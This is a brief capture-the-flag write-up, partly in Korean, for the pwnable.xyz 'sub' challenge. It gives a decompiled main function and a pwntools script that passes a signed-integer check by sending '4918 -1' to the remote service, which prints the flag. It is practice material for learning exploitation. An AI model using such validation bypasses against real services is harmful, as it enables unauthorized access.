[pwnable.xyz]sub
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+0h] [rbp-18h]
int v5; // [rsp+4h] [rbp-14h]
unsigned __int64 v6; // [rsp+8h] [rbp-10h]
v6 = __readfsqword(0x28u);
sub_A3E();
v4 = 0;
v5 = 0;
_printf_chk(1LL, "1337 input: ");
_isoc99_scanf("%u %u", &v4, &v5);
if ( v4 <= 4918 && v5 <= 4918 )
{
if ( v4 - v5 == 4919 )
system("cat /flag");
}
else
{
puts("Sowwy");
}
return 0LL;
}
그냥 별거 없다. v4, v5가 int라서 4918 -(-1) 해서 4919되서 풀었다.
from pwn import *
p = remote('svc.pwnable.xyz',30001)
p.sendlineafter(':','4918 -1')
print p.recvall()